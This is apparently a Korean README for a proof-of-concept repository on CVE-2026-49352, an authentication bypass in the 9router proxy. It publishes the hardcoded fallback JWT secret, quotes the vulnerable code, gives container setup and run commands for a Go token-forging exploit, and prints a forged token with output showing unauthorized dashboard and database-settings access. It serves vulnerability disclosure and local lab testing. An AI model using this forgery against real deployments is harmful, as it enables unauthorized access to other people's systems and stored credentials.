
CVE-2026-49352 (9router 하드코딩된 JWT 시크릿 인증 우회)에 대한 악용 가능성 PoC
CVE-2026-49352는 AI 코딩 도구를 위한 자체 호스팅 Node.js/Next.js 프록시인 9router의 취약점입니다. 대시보드 세션 JWT는 JWT_SECRET 환경 변수에서 가져온 시크릿으로 서명되지만, 해당 변수가 설정되지 않은 경우 로그인 핸들러와 요청 가드 모두 동일한 하드코딩된 리터럴로 폴백됩니다:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
이 문자열이 공개 저장소에 커밋되어 있기 때문에 전혀 비밀이 아닙니다. 공격자는 이를 사용하여 토큰에 서명하고 인증된 대시보드 사용자로 간주될 수 있습니다.
| 영향받는 범위 | 수정된 버전 |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
폴백 시크릿은 두 개의 독립적인 파일에서 동일하게 정의됩니다.
src/app/api/auth/login/route.js — 로그인 시 세션 토큰을 발급합니다:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — 모든 보호된 요청에서 토큰을 검증합니다:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
hasValidToken() 성공은 /dashboard 및 ALWAYS_PROTECTED에 나열된 엔드포인트( /api/settings/database 포함)에 대한 액세스를 허용하기 전에 확인되는 유일한* 조건입니다. 세션 레코드 조회나 토큰 출처 검증이 없습니다 — 유효한 서명이 신원 증명으로 간주됩니다.
우회는 영향을 받는 코드베이스의 빌드에서 확인 및 재현 가능합니다. JWT_SECRET이 설정되지 않은 상태에서:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
취약점은 운영자가 JWT_SECRET을 설정하지 않은 경우에만 발생합니다 — 환경 구성 단계를 건너뛰는 대부분의 빠른 시작/docker-run 배포의 기본값입니다. JWT_SECRET을 명시적으로 임의의 값으로 설정한 배포는 영향을 받지 않습니다. SECRET이 모듈 로드 시 한 번 파생되고 폴백되지 않기 때문입니다.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| 도구 | 버전 | 비고 |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose 필요 |
| Go | ≥ 1.22 | 로컬에서 익스플로잇 실행용 |
외부 Go 종속성: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
앱이 준비되었다고 보고할 때까지 기다린 후 확인:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
-probe를 추가하여 위조된 쿠키로 /api/settings/database도 요청:
go run exploit.go -target http://localhost:20128 -probe
사용 가능한 플래그:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| 자료 | 링크 |
|---|---|
| 권고 | GHSA-jphh-m39h-6gwx |
| 취약한 저장소 | decolua/9router |
| 전체 분석 — 블로그 포스트 | return-zero.dev/posts/cve-2026-49352 |
이 저장소는 교육 목적 및 로컬 익스플로잇 분석만을 위한 것입니다. 모든 테스트는 자체 호스팅 컨테이너 환경에서 수행되었습니다. 소유하지 않거나 테스트에 대한 명시적 서면 승인을 받지 않은 시스템에 대해 이 PoC를 실행하지 마십시오.
| 플래그 | 기본값 | 설명 |
|---|
-target | http://localhost:20128 | 9router 인스턴스의 기본 URL |
-secret | 9router-default-secret-change-me | 위조에 사용할 JWT 폴백 시크릿 |
-ttl | 36 * 365 * 24h | 위조된 토큰의 유효 기간 |
-probe | false | /api/settings/database도 요청 |